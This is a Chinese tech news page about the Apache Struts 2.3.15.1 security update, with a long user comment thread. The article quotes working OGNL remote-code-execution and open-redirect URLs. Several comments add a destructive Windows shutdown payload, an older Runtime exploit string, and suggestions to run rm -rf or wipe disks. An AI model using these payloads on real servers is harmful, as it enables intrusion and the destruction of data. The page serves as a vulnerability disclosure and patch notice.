阅读更多

39顶
4踩

企业架构
Apache Struts团队6月底发布了Struts 2.3.15版本,由于该版本被发现存在重要的安全漏洞,因此该团队今天发布了Struts 2.3.15.1安全更新版本。



该版本修复的主要安全漏洞如下:

1.  通过在参数前面加上“action:”/“redirect:”/“redirectAction:”前缀,以实现远程代码执行,如下:

http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}





2.  通过在参数前面加上“redirect:”/“redirectAction:”前缀,以实现开放式重定向,如下:

http://host/struts2-showcase/fileupload/upload.action?redirect:http://www.yahoo.com/

http://host/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.google.com/%23




详细漏洞信息:

建议开发者将所有Struts 2应用程序升级至最新版本。

如果你从其他分支迁移至2.3.x分支,需要注意,该分支最低要求Servlet API 2.4、JSP API 2.0和Java 5。

下载地址:http://struts.apache.org/
  • 大小: 8.7 KB
  • 大小: 51.3 KB
  • 大小: 107.5 KB
  • 大小: 101.3 KB
39
4
评论 共 59 条 请登录后发表评论
59 楼 HelloRong 2013-08-26 10:38
Null Nnll
58 楼 dongjinsuo 2013-08-21 16:20
   
57 楼 fhtwins 2013-08-16 14:39
这个漏洞比前几年的Struts2的远程执行任意代码的漏洞:
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

还要可怕!

我在公司内网小试了一下,所以Struts2技术开发的WEB项目,全挂!
56 楼 ysm274376500 2013-07-24 12:59
补充一下:
  上面并不是说只要过滤action、redirect等就行,只是举个例子,关键是要过滤ognl表达式的非法数据。
55 楼 ysm274376500 2013-07-24 12:32
这种漏洞,可以采用Interceptor过滤

String hacker=ServletActionContext.getRequest().getQueryString();
		String resultstr = "success";
		if(hacker.indexOf("action:%{")>-1||hacker.indexOf("redirect:%{")>-1||hacker.indexOf("redirectAction:%{")>-1){
			invocation.getInvocationContext().getValueStack().set(
					"message", "You are a hacker?");
			return Action.ERROR;
		}
54 楼 wnli350 2013-07-24 09:41
aly_boy 写道
从副主编到上面详细解释的人,都真没有职业精神。

你什么时候见安全组织发布一个高危漏洞,同时还很详细的说明怎么来利用这个漏洞,卖弄技巧,不顾可能带来的后果。

你以为编辑们很牛B么,都是从官网拷的
53 楼 leeleo 2013-07-24 09:37
kylix_xp 写道
struts2这种垃圾框架早该废除了

那你先搞一个比这个好的出来,而且是开源的框架~~真是无语~
52 楼 venus224 2013-07-24 08:31
kylix_xp 写道
struts2这种垃圾框架早该废除了

对你无语
51 楼 kylix_xp 2013-07-23 15:27
struts2这种垃圾框架早该废除了
50 楼 leifeng2 2013-07-23 13:03
http://localhost:8080/context/aa.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'Shutdown','-s','-t','1'})).start()}
系统架构:SSH,为什么我执行类似代码而没有反应?
49 楼 JianbinJava 2013-07-23 11:01
老闻了,,还新闻.
48 楼 bewithme 2013-07-23 10:51
gbwl_cgl 写道
venus224 写道
只有Struts 2.3.15版本会还是Struts 2.0的都会?

都会

没有吧,我在Struts2.1.8的版本上没试出问题
47 楼 diggywang 2013-07-22 15:59
sweat89 写道
SunZh 写道
问题很严重!仅供测试,不负责!
windows服务器关机命令:
http://localhost:8080/context/aa.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'Shutdown','-s','-t','1'})).start()}   就可以关机

我擦 还真的可以。。。。。linux环境下呢


Linux一样啊,把('Shutdown','-s','-t','1')改成linux下的命令就行了,如果app是root起来的,直接改成halt,关机!或者rm -rf ~/*,删除home目录下用户所有数据;如果是root,呃,你可以格式化掉整个硬盘...
46 楼 mlw2000 2013-07-22 12:37
qiaoenxin 写道
struts2自从引入了ognl漏洞从来就没有消停过。万恶的ognl。请求参数的解析完全可以废弃ognl。重写参数拦截器才是解决问题的王道。彻底解决安全问题

+1 说白了就是要求把参数set到每个action的属性里去,这个事有必要动用ognl吗,动用ognl,但ognl表达式可以执行任意java代码,这就是问题的根源。
45 楼 qiaoenxin 2013-07-22 11:23
struts2自从引入了ognl漏洞从来就没有消停过。万恶的ognl。请求参数的解析完全可以废弃ognl。重写参数拦截器才是解决问题的王道。彻底解决安全问题
44 楼 kingxip 2013-07-22 08:19
sushi0k 写道
我把原来的Struts2.1.8升级到Struts2.3.15.1的时候遇到了一下问题,找不到解决办法:

在原来的项目中删除的包有:
asm-commons-2.2.3.jar
Commons-fileupload-1.2.jar
Commons-io-1.3.2.jar
Commons-logging-1.0.4.jar
Ognl-2.7.3.jar
Struts2-core-2.1.8.jar
Struts2-json-plugin-2.1.8.jar
Struts2-junit-plugin-2.2.1.jar
Struts2-spring-plugin-2.2.1.jar
Xwork-core-2.1.6.jar

新加进来的包有:
Asm-3.3.jar
Asm-commons-3.3.jar
Commons-fileupload-1.3.jar
Commons-io-2.0.1.jar
Commons-lang-2.4.jar
Commons-lang3-3.1.jar
Commons-logging-1.1.3.jar
Javassist-3.11.0.GA.jar
Ognl-3.0.6.jar
Struts2-core-2.3.15.1.jar
Struts2-json-plugin-2.3.15.1.jar
Struts2-junit-plugin-2.3.15.1.jar
Struts2-spring-plugin-2.3.15.1.jar
Xwork-core-2.3.15.1.jar

项目正常运行。
--------------------------------------------------------
遇到的问题,这个问题在版本更新之前是没有的:
路径A能够正常访问:
http://192.168.0.87/wx/wxtest.html?keyword=asdasd

对路径A进行了urlrewrite配置,如下:
<rule>
    <from>/wx/wxtest/(.*).html?(.*)</from>
    <to type="redirect">/wx/wxtest.html?keyword=$1&amp;asd=$2</to> 
</rule>


访问地址B测试:
http://192.168.0.87/wx/wxtest/aaa.html?bbb

参数keyword=aaa
参数asd=null

问题分析:进行urlrewrite配置后,请求路径中?后面的数据被过滤掉使Action不能正常获取。
但是没进行urlrewrite配置的路径中?后面的参数整个正常传递到Action。

不知道是哪里的问题?





这么长的问题你应该发到问答去比较好。
43 楼 zhujintaozhu 2013-07-21 15:07
玩儿大发了,赶紧改吧!
42 楼 xianqi_h 2013-07-21 12:42
同意找出漏洞,互联网公司涉及struts2的应该注意了。
41 楼 sushi0k 2013-07-20 17:31
我把原来的Struts2.1.8升级到Struts2.3.15.1的时候遇到了一下问题,找不到解决办法:

在原来的项目中删除的包有:
asm-commons-2.2.3.jar
Commons-fileupload-1.2.jar
Commons-io-1.3.2.jar
Commons-logging-1.0.4.jar
Ognl-2.7.3.jar
Struts2-core-2.1.8.jar
Struts2-json-plugin-2.1.8.jar
Struts2-junit-plugin-2.2.1.jar
Struts2-spring-plugin-2.2.1.jar
Xwork-core-2.1.6.jar

新加进来的包有:
Asm-3.3.jar
Asm-commons-3.3.jar
Commons-fileupload-1.3.jar
Commons-io-2.0.1.jar
Commons-lang-2.4.jar
Commons-lang3-3.1.jar
Commons-logging-1.1.3.jar
Javassist-3.11.0.GA.jar
Ognl-3.0.6.jar
Struts2-core-2.3.15.1.jar
Struts2-json-plugin-2.3.15.1.jar
Struts2-junit-plugin-2.3.15.1.jar
Struts2-spring-plugin-2.3.15.1.jar
Xwork-core-2.3.15.1.jar

项目正常运行。
--------------------------------------------------------
遇到的问题,这个问题在版本更新之前是没有的:
路径A能够正常访问:
http://192.168.0.87/wx/wxtest.html?keyword=asdasd

对路径A进行了urlrewrite配置,如下:
<rule>
    <from>/wx/wxtest/(.*).html?(.*)</from>
    <to type="redirect">/wx/wxtest.html?keyword=$1&amp;asd=$2</to> 
</rule>


访问地址B测试:
http://192.168.0.87/wx/wxtest/aaa.html?bbb

参数keyword=aaa
参数asd=null

问题分析:进行urlrewrite配置后,请求路径中?后面的数据被过滤掉使Action不能正常获取。
但是没进行urlrewrite配置的路径中?后面的参数整个正常传递到Action。

不知道是哪里的问题?




40 楼 mlw2000 2013-07-19 18:01
wangxiang243 写道

真可以!!我擦
webwork2会有这样的bug吗?

既然struts 2.0有,那么webwork2也很难幸免。
问题分析见:http://www.inbreak.net/archives/507
在Iteye上的转帖(及额外备注):http://www.iteye.com/topic/1131358

发表评论

您还没有登录,请您登录后再发表评论

相关推荐

  • linux struts2漏洞,Struts2漏洞分析,漏洞波及全系版本

    Struts漏洞分析Apache Struts团队已经发布了Struts 2.3.15.1安全更新版本。在Struts2.3.15.1版本之前,存在着严重的安全漏洞,如果现在一些比较大的网站是用JAVA做的,没有把版本升级,还用的是Strtus2.3.15.1版本...

  • 如何探测类似Struts 2的安全漏洞? JFrog Xray 帮你扫描漏洞,并阻止漏洞上线

    近期Struts 2的高危漏洞闹得沸沸扬扬,阿里云也发布了一则告警,提示 Struts 2存在高危漏洞,距离上一次 Struts2漏洞报出也就是半年前,于是我决定研究下漏洞形成的原理,后来的事实证明,收获不小! ...

  • Struts2重要漏洞

    转载: Struts2被曝重要漏洞,波及全系版本 Apache Struts团队6月底发布了Struts 2.3.15版本,由于该版本被发现存在重要的安全漏洞,因此该团队今天发布了Struts 2.3.15.1安全更新版本。  该版本修复的...

  • struts2 漏洞分析 及解决办法

    1.讨论关于struts 安全问题。 2.黑客文化。 3.如何降低安全漏洞的出现。 4.忠告建议。 题记: 这篇文章本来很早应该和大家见面的,中间由于个人原因调整了系列文章发布时间,实属罪过。为了不误导...

  • struts2 最新漏洞 S2

    昨天struts2爆了一个好大的漏洞,用道哥的话来说就是:“今天下午整个中国的黑客圈像疯了一样开始利用这个漏洞黑网站...Struts2被曝重要漏洞,波及全系版本 官方描述: S2-016:https://cwiki.apache.org/conflu

  • 知道struts2-s2-016-s2-017漏洞之感

    当然这个漏洞应该波及了很多公司,Struts2的流通性太大了,导致很多人关注它,很多人都搞它,漏洞也发现得快,不过反过来想想,有这么多人关注,一点会很快的茁壮成长的吧。不过再这样一而再,再而三的来漏洞,大家...

  • struts2漏洞原理及解决办法

    Struts2被曝存在重大远程任意代码执行安全漏洞,影响Struts2全系版本。而对于此次堪比棱镜事件的危害,安全宝指出,众多大型互联网厂商均存在该漏洞,且影响厂商仍在扩大之中。同时漏洞利用代码已经被强化,可直接通过...

  • 程序世界系列之-struts2安全漏洞引发的安全杂谈(上)

    1.讨论关于struts 安全问题。 2.黑客文化。 3.如何降低安全漏洞的出现。 4.忠告建议。 题记: 这篇文章本来很早应该和大家见面的,中间由于个人原因调整了系列文章发布时间,实属罪过。为了不误导大众文章中间...

  • struts2 最新漏洞 S2-016、S2-017修补方案

    昨天struts2爆了一个好大的漏洞,用道哥的话来说就是:“今天下午整个中国的黑客圈像疯了一样开始利用这...Struts2被曝重要漏洞,波及全系版本 官方描述: S2-016:https://cwiki.apache.org/confluence/display/W...

  • 互联网惨遭Struts高危漏洞摧残

    从7.17号开始,乌云网(www.wooyun.org)开始爆各大网站的struts漏洞。 关于Struts Struts 框架是Apache基金会Jakarta项目组的一个 Open Source项目,它采用MVC模式,帮助 java 开发者利用J2EE开发Web...

  • 大学物理册答案上下都有

    大学物理册答案上下都有

  • UWB超宽带信道研究及源码.zip

    1.版本:matlab2014/2019a/2021a 2.附赠案例数据可直接运行matlab程序。 3.代码特点:参数化编程、参数可方便更改、代码编程思路清晰、注释明细。 4.适用对象:计算机,电子信息工程、数学等专业的大学生课程设计、期末大作业和毕业设计。

  • Suno AI语音技术的资源描述

    Suno AI 是一家领先的人工智能(AI)公司,专注于开发创新的语音技术和解决方案。以下是关于 Suno AI 的资源描述: 语音识别技术:Suno AI 拥有先进的语音识别技术,能够准确地将语音转换为文本。他们的语音识别系统经过了大量的训练和优化,具有高度的准确性和鲁棒性,可应用于多种场景,如语音助手、语音搜索、智能客服等。 语音合成技术:除了语音识别,Suno AI 还致力于开发自然、流畅的语音合成技术。他们的语音合成系统能够生成高质量、逼真的语音输出,可以用于语音助手、自动化客服、有声书等领域。 智能语音应用开发:Suno AI 提供了一系列工具和平台,帮助开发者快速构建和部署智能语音应用。他们的开发工具包括 API 接口、SDK、开发文档等,支持多种编程语言和平台,让开发者可以轻松地集成语音功能到自己的应用中。 行业解决方案:Suno AI 为各行各业提供定制化的语音解决方案,满足客户特定的需求和业务场景。他们与零售、金融、医疗等领域的企业合作,提供智能语音客服、语音导航、语音支付等解决方案,帮助客户提升服务质量和效率。

  • 基于matlab的射线信道模型内含数据集.zip

    基于matlab的射线信道模型内含数据集.zip

  • 基于Lidar数据的概率占位栅格图(Occupancy Grid Map)+Python代码实现.pdf

    基于Lidar数据的概率占位栅格图(Occupancy+Grid+Map)+Python代码实现.pdf

  • autosar多核操作系统的监控和优化python代码.zip

    1.版本:matlab2014/2019a/2021a 2.附赠案例数据可直接运行matlab程序。 3.代码特点:参数化编程、参数可方便更改、代码编程思路清晰、注释明细。 4.适用对象:计算机,电子信息工程、数学等专业的大学生课程设计、期末大作业和毕业设计。

  • 基于flink的实时流计算web平台.zip

    flink基于flink的实时流计算web平台.zip 基于flink的实时流计算web平台.zip基于flink的实时流计算web平台.zip基于flink的实时流计算web平台.zip基于flink的实时流计算web平台.zip基于flink的实时流计算web平台.zip基于flink的实时流计算web平台.zip基于flink的实时流计算web平台.zip基于flink的实时流计算web平台.zip基于flink的实时流计算web平台.zip基于flink的实时流计算web平台.zip基于flink的实时流计算web平台.zip基于flink的实时流计算web平台.zip基于flink的实时流计算web平台.zip基于flink的实时流计算web平台.zip基于flink的实时流计算web平台.zip

  • 行政数据分析看板12.xlsx

    Excel数据看板,Excel办公模板,Excel模板下载,Excel数据统计,数据展示

Global site tag (gtag.js) - Google Analytics